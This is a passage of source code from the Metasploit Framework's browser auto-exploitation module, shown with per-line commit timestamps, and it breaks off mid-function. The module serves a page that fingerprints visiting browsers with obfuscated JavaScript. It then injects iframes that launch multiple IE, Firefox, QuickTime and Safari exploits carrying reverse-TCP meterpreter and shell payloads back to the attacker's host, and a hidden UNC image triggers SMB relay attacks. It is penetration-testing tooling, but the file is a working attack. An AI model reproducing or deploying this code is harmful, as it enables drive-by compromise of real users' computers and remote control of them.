2008-07-01 01:44:56 +00:00
|
|
|
##
|
|
|
|
# $Id:$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
2008-07-22 07:28:05 +00:00
|
|
|
require 'rex/exploitation/javascriptosdetect.rb'
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Exploit::Remote::HttpServer::HTML
|
|
|
|
include Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2008-08-08 06:00:30 +00:00
|
|
|
'Name' => 'HTTP Client Automatic Exploiter',
|
2008-07-01 01:44:56 +00:00
|
|
|
'Version' => '$Revision: $',
|
|
|
|
'Description' => %q{
|
2008-08-08 06:00:30 +00:00
|
|
|
This module uses a combination of client-side and server-side techniques to
|
|
|
|
fingerprint HTTP clients and then automatically exploit them.
|
2008-07-01 01:44:56 +00:00
|
|
|
},
|
2008-08-08 06:00:30 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
2008-09-01 05:19:28 +00:00
|
|
|
'egypt <egypt[at]metasploit.com>', # initial concept, integration and extension of Jerome's os_detect.js
|
|
|
|
'Jerome Athias' # advanced Windows OS detection in javascript
|
2008-07-22 07:28:05 +00:00
|
|
|
],
|
2008-07-01 01:44:56 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'WebServer' ]
|
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'WebServer'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'WebServer'))
|
|
|
|
|
|
|
|
register_options([
|
2008-08-08 06:00:30 +00:00
|
|
|
OptAddress.new('LHOST', [true, 'The IP address to use for reverse-connect payloads']),
|
|
|
|
OptPort.new('LPORT', [false, 'The starting TCP port number for reverse-connect payloads', 4444])
|
|
|
|
], self.class)
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
@exploits = Hash.new
|
|
|
|
end
|
2008-08-08 06:00:30 +00:00
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
def init_exploit(name, targ = 0)
|
|
|
|
targ ||= 0
|
2008-07-01 01:44:56 +00:00
|
|
|
case name
|
2008-07-22 07:28:05 +00:00
|
|
|
when %r{exploit/windows}
|
2008-07-01 01:44:56 +00:00
|
|
|
payload='windows/meterpreter/reverse_tcp'
|
|
|
|
else
|
|
|
|
payload='generic/shell_reverse_tcp'
|
|
|
|
end
|
|
|
|
@exploits[name] = framework.modules.create(name)
|
|
|
|
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
|
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
# For testing, set the exploit uri to the name of the exploit so it's
|
|
|
|
# easy to tell what is happening from the browser.
|
|
|
|
# XXX: Comment this out for release
|
2008-07-01 01:44:56 +00:00
|
|
|
@exploits[name].datastore['URIPATH'] = name
|
|
|
|
|
|
|
|
@exploits[name].datastore['LPORT'] = @lport
|
|
|
|
@exploits[name].datastore['LHOST'] = @lhost
|
|
|
|
@exploits[name].exploit_simple(
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
2008-07-22 07:28:05 +00:00
|
|
|
'Target' => targ,
|
2008-07-01 01:44:56 +00:00
|
|
|
'Payload' => payload,
|
|
|
|
'RunAsJob' => true)
|
|
|
|
|
|
|
|
@lport += 1
|
|
|
|
end
|
|
|
|
|
|
|
|
def setup()
|
|
|
|
super
|
|
|
|
@lport = datastore['LPORT'] || 4444
|
|
|
|
@lhost = datastore['LHOST']
|
|
|
|
@lport = @lport.to_i
|
2008-07-22 07:28:05 +00:00
|
|
|
print_status("Starting exploit modules on host #{@lhost}...")
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
##
|
|
|
|
# Start all the exploit modules
|
|
|
|
##
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
# TODO: add an Automatic target to all of the Firefox exploits
|
|
|
|
|
|
|
|
# Firefox < 1.0.5
|
|
|
|
# requires javascript
|
|
|
|
init_exploit('exploit/multi/browser/mozilla_compareto')
|
|
|
|
|
|
|
|
# Firefox < 1.5.0.5
|
|
|
|
# requires java
|
|
|
|
# requires javascript
|
|
|
|
init_exploit('exploit/multi/browser/mozilla_navigatorjava')
|
|
|
|
|
|
|
|
# Firefox < 1.5.0.1
|
2008-07-01 01:44:56 +00:00
|
|
|
# For now just use the default target of Mac.
|
|
|
|
# requires javascript
|
2008-07-22 07:28:05 +00:00
|
|
|
init_exploit('exploit/multi/browser/firefox_queryinterface')
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
# works on iPhone
|
|
|
|
# does not require javascript
|
2008-09-01 05:19:28 +00:00
|
|
|
init_exploit('exploit/osx/armle/safari_libtiff')
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
# untested
|
2008-07-01 01:44:56 +00:00
|
|
|
#init_exploit('exploit/osx/browser/software_update')
|
2008-09-01 05:19:28 +00:00
|
|
|
# untested
|
2008-07-01 01:44:56 +00:00
|
|
|
#init_exploit('exploit/windows/browser/ani_loadimage_chunksize')
|
|
|
|
|
|
|
|
# does not require javascript
|
2008-07-22 07:28:05 +00:00
|
|
|
init_exploit('exploit/windows/browser/apple_quicktime_rtsp')
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
# requires javascript
|
|
|
|
init_exploit('exploit/windows/browser/novelliprint_getdriversettings')
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2008-07-23 08:26:42 +00:00
|
|
|
# Works on default IE 6
|
2008-09-01 05:19:28 +00:00
|
|
|
# Doesn't work on Windows 2000 SP0 IE 5.0
|
2008-07-22 07:28:05 +00:00
|
|
|
# I'm pretty sure keyframe works on everything this works on, but since
|
|
|
|
# this doesn't need javascript, try it anyway.
|
|
|
|
# does not require javascript
|
|
|
|
init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
|
|
|
|
|
2008-07-23 08:26:42 +00:00
|
|
|
# requires javascript
|
|
|
|
init_exploit('exploit/windows/browser/ie_createobject')
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
# I'm pretty sure keyframe works on everything this works on and more,
|
|
|
|
# so for now leave it out.
|
|
|
|
# requires javascript
|
2008-07-01 01:44:56 +00:00
|
|
|
#init_exploit('exploit/windows/browser/ms06_055_vml_method')
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
# Works on default IE 5 and 6
|
|
|
|
# requires javascript
|
2008-07-22 07:28:05 +00:00
|
|
|
# ActiveXObject('DirectAnimation.PathControl')
|
|
|
|
# classid D7A7D7C3-D47F-11D0-89D3-00A0C90833E6
|
2008-07-01 01:44:56 +00:00
|
|
|
init_exploit('exploit/windows/browser/ms06_067_keyframe')
|
|
|
|
|
|
|
|
# only works on IE with XML Core Services
|
|
|
|
# requires javascript
|
2008-07-22 07:28:05 +00:00
|
|
|
# classid 88d969c5-f192-11d4-a65f-0040963251e5
|
2008-07-01 01:44:56 +00:00
|
|
|
init_exploit('exploit/windows/browser/ms06_071_xml_core')
|
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
# Pops up whatever client is registered for .pls files. It's pretty
|
|
|
|
# obvious to the user when this exploit loads, so leave it out for now.
|
|
|
|
# does not require javascript
|
2008-07-01 01:44:56 +00:00
|
|
|
#init_exploit('exploit/windows/browser/winamp_playlist_unc')
|
|
|
|
|
2008-08-08 06:00:30 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Requires UNC path which only seems to work on IE in my tests
|
|
|
|
#
|
|
|
|
|
|
|
|
# Launch a smb_relay module on port 139
|
2008-07-22 07:28:05 +00:00
|
|
|
smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay')
|
|
|
|
smbr_mod.datastore['LHOST'] = @lhost
|
2008-08-08 06:00:30 +00:00
|
|
|
smbr_mod.datastore['LPORT'] = (@lport += 1)
|
|
|
|
smbr_mod.datastore['SRVPORT'] = 139
|
2008-09-01 05:19:28 +00:00
|
|
|
smbr_mod.datastore['AutoRunScript'] = 'migrate'
|
2008-07-22 07:28:05 +00:00
|
|
|
smbr_mod.exploit_simple(
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
|
|
|
'Target' => 0,
|
|
|
|
'Payload' => 'windows/meterpreter/reverse_tcp',
|
|
|
|
'RunAsJob' => true)
|
2008-08-08 06:00:30 +00:00
|
|
|
|
|
|
|
# Launch a second one with port 445
|
|
|
|
smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay')
|
|
|
|
smbr_mod.datastore['LHOST'] = @lhost
|
|
|
|
smbr_mod.datastore['LPORT'] = (@lport += 1)
|
|
|
|
smbr_mod.datastore['SRVPORT'] = 445
|
2008-09-01 05:19:28 +00:00
|
|
|
smbr_mod.datastore['AutoRunScript'] = 'migrate'
|
2008-08-08 06:00:30 +00:00
|
|
|
smbr_mod.exploit_simple(
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
|
|
|
'Target' => 0,
|
|
|
|
'Payload' => 'windows/meterpreter/reverse_tcp',
|
|
|
|
'RunAsJob' => true)
|
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
@myhost = datastore['SRVHOST']
|
|
|
|
@myport = datastore['SRVPORT']
|
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
# Create a cached mapping between IP and detected target
|
|
|
|
@targetcache ||= {}
|
|
|
|
@targetcache[cli.peerhost] ||= {}
|
|
|
|
@targetcache[cli.peerhost][:update] = Time.now.to_i
|
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
##
|
|
|
|
# Clean the cache -- remove hosts that we haven't seen for more than 60
|
|
|
|
# seconds
|
|
|
|
##
|
2008-07-22 07:28:05 +00:00
|
|
|
rmq = []
|
|
|
|
@targetcache.each_key do |addr|
|
|
|
|
if (Time.now.to_i > @targetcache[addr][:update]+60)
|
|
|
|
rmq.push addr
|
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
rmq.each {|addr| @targetcache.delete(addr) }
|
2008-09-01 05:19:28 +00:00
|
|
|
#--
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
case request.uri
|
|
|
|
when %r{^#{datastore['URIPATH']}.*sessid=}:
|
|
|
|
record_detection(cli, request)
|
|
|
|
send_not_found(cli)
|
2008-09-13 04:07:28 +00:00
|
|
|
when self.get_resource:
|
2008-07-22 07:28:05 +00:00
|
|
|
#
|
2008-09-01 05:19:28 +00:00
|
|
|
# This is the request for exploits. At this point all we know
|
|
|
|
# about the target came from the useragent string which could
|
|
|
|
# have been spoofed, so let the javascript figure out which
|
|
|
|
# exploits to run. Record detection based on the useragent in
|
|
|
|
# case javascript is disabled on the target.
|
2008-07-22 07:28:05 +00:00
|
|
|
#
|
|
|
|
|
|
|
|
record_detection(cli, request)
|
|
|
|
print_status("Responding with exploits")
|
|
|
|
|
|
|
|
response = build_sploit_response(cli, request)
|
|
|
|
response['Expires'] = '0'
|
|
|
|
response['Cache-Control'] = 'must-revalidate'
|
2008-08-08 02:37:54 +00:00
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
cli.send_response(response)
|
|
|
|
else
|
2008-09-01 05:19:28 +00:00
|
|
|
print_error("I don't know how to handle this request (#{request.uri}), sending 404")
|
2008-07-22 07:28:05 +00:00
|
|
|
send_not_found(cli)
|
|
|
|
return false
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
def run
|
|
|
|
exploit()
|
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
def build_sploit_response(cli, request)
|
|
|
|
if (!@targetcache[cli.peerhost])
|
|
|
|
record_detection(cli, request)
|
|
|
|
end
|
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
response = create_response()
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
# TODO: instead of writing all of the iframes at once,
|
|
|
|
# consider having a javascript timeout function that writes
|
|
|
|
# each exploit's iframe so they don't step on each other.
|
|
|
|
# I'm not sure this is really an issue since IE seems to
|
|
|
|
# just load the next iframe when the first didn't crash it.
|
|
|
|
|
|
|
|
objects = {
|
2008-07-23 08:26:42 +00:00
|
|
|
'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource,
|
2008-07-22 07:28:05 +00:00
|
|
|
'{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource,
|
|
|
|
'{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource,
|
2008-07-23 08:26:42 +00:00
|
|
|
'{BD96C556-65A3-11D0-983A-00C04FC29E36}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{BD96C556-65A3-11D0-983A-00C04FC29E30}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{6414512B-B978-451D-A0D8-FCFDF33E833C}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{06723E09-F4C2-43c8-8358-09FCD1DB0766}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{639F725F-1B2D-4831-A9FD-874847682010}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{BA018599-1DB3-44f9-83B4-461454C84BF8}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{E8CCCDDF-CA28-496b-B050-6C07C962476B}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{0006F033-0000-0000-C000-000000000046}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
|
|
|
'{0006F03A-0000-0000-C000-000000000046}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
|
2008-07-01 01:44:56 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join.chop
|
|
|
|
|
|
|
|
js = <<-ENDJS
|
2008-07-23 08:26:42 +00:00
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
#{js_os_detect}
|
|
|
|
#{js_base64}
|
|
|
|
|
|
|
|
// Hash implementation stolen from http://www.mojavelinux.com/articles/javascript_hashes.html
|
|
|
|
function Hash() {
|
|
|
|
this.length = 0;
|
|
|
|
this.items = new Array();
|
|
|
|
for (var current_item = 0; current_item < arguments.length; current_item += 2) {
|
|
|
|
if (typeof(arguments[current_item + 1]) != 'undefined') {
|
|
|
|
this.items[arguments[current_item]] = arguments[current_item + 1];
|
|
|
|
this.length++;
|
|
|
|
}
|
|
|
|
}
|
2008-07-01 01:44:56 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
function send_detection_report(detected_version) {
|
2008-09-01 05:19:28 +00:00
|
|
|
// ten chars long and all uppercase so we can't possibly step
|
|
|
|
// on a real version string.
|
|
|
|
var cruft = "#{Rex::Text.rand_text_alpha_upper(10)}";
|
|
|
|
var encoded_detection;
|
|
|
|
try { xmlhr = new XMLHttpRequest(); }
|
2008-07-22 07:28:05 +00:00
|
|
|
catch(e) {
|
2008-09-01 05:19:28 +00:00
|
|
|
try { xmlhr = new ActiveXObject("Microsoft.XMLHTTP"); }
|
2008-07-22 07:28:05 +00:00
|
|
|
catch(e) {
|
2008-09-01 05:19:28 +00:00
|
|
|
xmlhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
|
|
|
}
|
2008-09-01 05:19:28 +00:00
|
|
|
if (! xmlhr) {
|
2008-07-22 07:28:05 +00:00
|
|
|
return(0);
|
|
|
|
}
|
2008-09-01 05:19:28 +00:00
|
|
|
encoded_detection = new String();
|
|
|
|
encoded_detection += detected_version.os_name + cruft;
|
|
|
|
encoded_detection += detected_version.os_flavor + cruft;
|
|
|
|
encoded_detection += detected_version.os_sp + cruft;
|
|
|
|
encoded_detection += detected_version.os_lang + cruft;
|
|
|
|
encoded_detection += detected_version.arch + cruft;
|
|
|
|
encoded_detection += detected_version.browser_name + cruft;
|
|
|
|
encoded_detection += detected_version.browser_version;
|
|
|
|
while (-1 != encoded_detection.indexOf(cruft)) {
|
|
|
|
encoded_detection = encoded_detection.replace(cruft, ":");
|
|
|
|
}
|
|
|
|
document.write(encoded_detection + "<br>");
|
|
|
|
encoded_detection = Base64.encode(encoded_detection);
|
|
|
|
document.write(encoded_detection + "<br>");
|
|
|
|
xmlhr.open("GET", document.location + "?sessid=" + encoded_detection, false);
|
|
|
|
xmlhr.send(null);
|
2008-07-01 01:44:56 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
function BodyOnLoad() {
|
|
|
|
var sploit_frame = '';
|
|
|
|
var body_elem = document.getElementById('body_id');
|
|
|
|
var detected_version = getVersion();
|
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
try {
|
|
|
|
// This function doesn't seem to get created on old
|
|
|
|
// browsers (specifically, Firefox 1.0), so until I
|
|
|
|
// can puzzle out why, wrap it in a try block so the
|
|
|
|
// javascript parser doesn't crap out and die before
|
|
|
|
// any exploits get sent.
|
|
|
|
send_detection_report(detected_version);
|
|
|
|
} catch (e) {}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
if ("#{HttpClients::IE}" == detected_version.browser_name) {
|
2008-07-23 08:26:42 +00:00
|
|
|
//document.write("This is IE<br />");
|
2008-07-22 07:28:05 +00:00
|
|
|
// object_list contains key-value pairs like
|
2008-07-23 08:26:42 +00:00
|
|
|
// {classid} => /srvpath/to/exploit/for/classid
|
2008-07-22 07:28:05 +00:00
|
|
|
// and
|
2008-07-23 08:26:42 +00:00
|
|
|
// ActiveXname => /srvpath/to/exploit/for/ActiveXname
|
2008-07-22 07:28:05 +00:00
|
|
|
var object_list = new Hash(#{hash_declaration});
|
|
|
|
var vuln_obj;
|
2008-07-23 08:26:42 +00:00
|
|
|
var written_frames = new Array();
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
// iterate through our list of exploits
|
2008-07-23 08:26:42 +00:00
|
|
|
//document.write("I have " + object_list.length + " objects to test <br />");
|
2008-07-22 07:28:05 +00:00
|
|
|
for (var current_item in object_list.items) {
|
|
|
|
//document.write("Testing for object " + current_item + " ... ");
|
2008-07-23 08:26:42 +00:00
|
|
|
// Don't write the same iframe more than once. This is
|
|
|
|
// only an issue with ie_createobject which uses a ton of
|
|
|
|
// different classids to perform the same exploit.
|
|
|
|
// Assumes that no url will be a substring of another url.
|
|
|
|
if (-1 != written_frames.toString().indexOf(object_list.items[current_item])) {
|
|
|
|
//document.write("Already wrote an iframe for " + object_list.items[current_item] +"<br>");
|
|
|
|
continue;
|
|
|
|
}
|
|
|
|
vuln_obj = '';
|
2008-07-22 07:28:05 +00:00
|
|
|
if (current_item.substring(0,1) == '{') {
|
2008-07-23 08:26:42 +00:00
|
|
|
//document.write("which is a clasid <br />");
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
// classids are stored surrounded in braces for an easy way to tell
|
|
|
|
// them from ActiveX object names, so if it has braces, strip them
|
|
|
|
// out and create an object element with that classid
|
2008-07-23 08:26:42 +00:00
|
|
|
var vuln_obj = document.createElement("object");
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2008-07-23 08:26:42 +00:00
|
|
|
vuln_obj.setAttribute("classid", "clsid:" + current_item.substring( 1, current_item.length - 1 ) ) ;
|
2008-07-22 07:28:05 +00:00
|
|
|
} else {
|
2008-07-23 08:26:42 +00:00
|
|
|
//document.write("which is an AXO name <br />");
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
// otherwise, try to create an AXO with that name
|
2008-07-23 08:26:42 +00:00
|
|
|
try { vuln_obj = new ActiveXObject(current_item); } catch(e){}
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
2008-07-23 08:26:42 +00:00
|
|
|
// This doesn't bloody work. vuln_obj is always something
|
|
|
|
// that evaluates to true but there doesn't seem to be any
|
|
|
|
// way of determining if it is actually an ActiveX object.
|
|
|
|
// Since we can't tell if it will work, we end up just sending
|
|
|
|
// all of the iframes; some of them don't work, some of them
|
|
|
|
// do and we get multiple shells. Junior Varsity.
|
2008-07-22 07:28:05 +00:00
|
|
|
if (vuln_obj) {
|
2008-07-23 08:26:42 +00:00
|
|
|
document.write("It exists, making evil iframe <br />");
|
|
|
|
sploit_frame += '#{build_iframe("' + object_list.items[current_item] + '")}';
|
|
|
|
// why the hell is there no array.push() in javascript?
|
|
|
|
written_frames[written_frames.length] = object_list.items[current_item];
|
2008-07-22 07:28:05 +00:00
|
|
|
} else {
|
|
|
|
//document.write("It does NOT exist, skipping. <br />");
|
|
|
|
}
|
|
|
|
} // for each exploit
|
|
|
|
} // if IE
|
|
|
|
else {
|
2008-07-23 08:26:42 +00:00
|
|
|
//document.write("this is NOT MSIE<br />");
|
2008-07-22 07:28:05 +00:00
|
|
|
if (window.navigator.javaEnabled && window.navigator.javaEnabled()) {
|
|
|
|
sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/mozilla_navigatorjava'].get_resource)}';
|
|
|
|
}
|
|
|
|
if (window.InstallVersion) {
|
|
|
|
sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/mozilla_compareto'].get_resource)}';
|
|
|
|
}
|
2008-07-23 08:26:42 +00:00
|
|
|
// eventually this exploit will have an auto target and
|
|
|
|
// this check won't be necessary
|
2008-09-01 05:19:28 +00:00
|
|
|
//if ("#{OperatingSystems::MAC_OSX}" == detected_version.os_name) {
|
2008-07-22 07:28:05 +00:00
|
|
|
if (location.QueryInterface) {
|
|
|
|
sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/firefox_queryinterface'].get_resource)}';
|
|
|
|
}
|
2008-09-01 05:19:28 +00:00
|
|
|
//}
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
|
|
|
if (0 < sploit_frame.length) {
|
2008-07-23 08:26:42 +00:00
|
|
|
//document.write("Conditions optimal, writing evil iframe(s) <br />");
|
2008-07-22 07:28:05 +00:00
|
|
|
document.write(sploit_frame);
|
|
|
|
}
|
|
|
|
} // function BodyOnLoad
|
|
|
|
window.onload = BodyOnLoad
|
|
|
|
ENDJS
|
|
|
|
opts = {
|
2008-09-01 05:19:28 +00:00
|
|
|
# Strings obfuscation still needs more testing
|
|
|
|
'Strings' => true,
|
2008-07-22 07:28:05 +00:00
|
|
|
'Symbols' => {
|
|
|
|
'Variables' => [
|
|
|
|
'current_item', 'items',
|
|
|
|
'body_elem', 'body_id',
|
|
|
|
'object_list', 'vuln_obj',
|
|
|
|
'obj_elem', 'sploit_frame',
|
2008-09-01 05:19:28 +00:00
|
|
|
'cruft', 'written_frames',
|
|
|
|
'detected_version', 'xmlhr',
|
|
|
|
'encoded_detection'
|
2008-07-22 07:28:05 +00:00
|
|
|
],
|
|
|
|
'Methods' => [
|
|
|
|
'Hash', 'BodyOnLoad',
|
2008-09-01 05:19:28 +00:00
|
|
|
'send_detection_report'
|
2008-07-22 07:28:05 +00:00
|
|
|
]
|
2008-09-01 05:19:28 +00:00
|
|
|
}
|
2008-07-01 01:44:56 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
|
|
|
js.update_opts(js_os_detect.opts)
|
|
|
|
js.update_opts(js_base64.opts)
|
2008-09-01 05:19:28 +00:00
|
|
|
js.obfuscate()
|
|
|
|
|
|
|
|
body = "<body id=#{js.sym('body_id')}>"
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
#
|
|
|
|
# These are non-javascript exploits, send them with all requests in
|
|
|
|
# case the ua is spoofed and js is turned off
|
2008-07-23 08:26:42 +00:00
|
|
|
#
|
2008-09-01 05:19:28 +00:00
|
|
|
body << "<!--[if lt IE 7]>"
|
2008-07-23 08:26:42 +00:00
|
|
|
# commented this out so i can test other exploits
|
2008-09-01 05:19:28 +00:00
|
|
|
# XXX uncomment for release
|
|
|
|
#body << build_iframe(@exploits['exploit/windows/browser/ms03_020_ie_objecttype'].get_resource)
|
|
|
|
body << "<![endif]-->"
|
|
|
|
|
|
|
|
# image for smb_relay
|
|
|
|
share_name = Rex::Text.rand_text_alpha(rand(10) + 5)
|
|
|
|
img_name = Rex::Text.rand_text_alpha(rand(10) + 5) + ".jpg"
|
|
|
|
body << %Q{
|
|
|
|
<img src="\\\\#{@lhost}\\#{share_name}\\#{img_name}" style="visibility:hidden" height="0" width="0" border="0" />
|
|
|
|
}
|
|
|
|
body << build_iframe(@exploits['exploit/windows/browser/apple_quicktime_rtsp'].get_resource)
|
|
|
|
body << build_iframe(@exploits['exploit/osx/armle/safari_libtiff'].get_resource)
|
|
|
|
|
|
|
|
|
|
|
|
response.body = ' <html > <head > <title > Loading </title> '
|
|
|
|
response.body << ' <script language="javascript" type="text/javascript" >'
|
|
|
|
response.body << " <!--\n" + js + ' //-->'
|
2008-07-23 08:26:42 +00:00
|
|
|
response.body << ' </script> </head> ' + body
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
response.body << " </body> </html> "
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
return response
|
|
|
|
end
|
|
|
|
|
2008-07-23 08:26:42 +00:00
|
|
|
# consider abstracting this out to a method (probably
|
|
|
|
# with a different name) of Auxiliary::Report or
|
|
|
|
# Exploit::Remote::HttpServer
|
2008-07-22 07:28:05 +00:00
|
|
|
def record_detection(cli, request)
|
|
|
|
os_name = nil
|
|
|
|
os_flavor = nil
|
|
|
|
os_sp = nil
|
|
|
|
os_lang = nil
|
|
|
|
arch = nil
|
|
|
|
ua_name = nil
|
|
|
|
ua_vers = nil
|
|
|
|
|
|
|
|
data_offset = request.uri.index('sessid=')
|
|
|
|
if (data_offset.nil? or -1 == data_offset)
|
|
|
|
print_status("Recording detection from User-Agent")
|
|
|
|
# then we didn't get a report back from our javascript
|
|
|
|
# detection; make a best guess effort from information
|
|
|
|
# in the user agent string. The OS detection should be
|
|
|
|
# roughly the same as the javascript version because it
|
|
|
|
# does most everything with navigator.userAgent
|
|
|
|
|
|
|
|
ua = request['User-Agent']
|
|
|
|
# always check for IE last because everybody tries to
|
|
|
|
# look like IE
|
|
|
|
case (ua)
|
|
|
|
when /Version\/(\d+\.\d+\.\d+).*Safari/
|
|
|
|
ua_name = HttpClients::SAFARI
|
|
|
|
ua_vers = $1
|
|
|
|
when /Firefox\/((:?[0-9]+\.)+[0-9]+)/:
|
|
|
|
ua_name = HttpClients::FF
|
|
|
|
ua_vers = $1
|
|
|
|
when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/:
|
|
|
|
ua_name = HttpClients::IE
|
|
|
|
ua_vers = $1
|
|
|
|
end
|
|
|
|
case (ua)
|
|
|
|
when /Windows/:
|
|
|
|
os_name = OperatingSystems::WINDOWS
|
|
|
|
arch = ARCH_X86
|
|
|
|
when /Linux/:
|
|
|
|
os_name = OperatingSystems::LINUX
|
|
|
|
when /iPhone/
|
|
|
|
os_name = OperatingSystems::MAC_OSX
|
|
|
|
arch = 'armle'
|
|
|
|
when /Mac OS X/
|
|
|
|
os_name = OperatingSystems::MAC_OSX
|
|
|
|
end
|
|
|
|
case (ua)
|
|
|
|
when /Windows 95/:
|
|
|
|
os_flavor = '95'
|
|
|
|
when /Windows 98/:
|
|
|
|
os_flavor = '98'
|
|
|
|
when /Windows NT 4/:
|
|
|
|
os_flavor = 'NT'
|
|
|
|
when /Windows NT 5.0/:
|
|
|
|
os_flavor = '2000'
|
|
|
|
when /Windows NT 5.1/:
|
|
|
|
os_flavor = 'XP'
|
|
|
|
when /Windows NT 5.2/:
|
|
|
|
os_flavor = '2003'
|
|
|
|
when /Windows NT 6.0/:
|
|
|
|
os_flavor = 'Vista'
|
|
|
|
when /Gentoo/:
|
|
|
|
os_flavor = 'Gentoo'
|
|
|
|
when /Debian/:
|
|
|
|
os_flavor = 'Debian'
|
|
|
|
when /Ubuntu/:
|
|
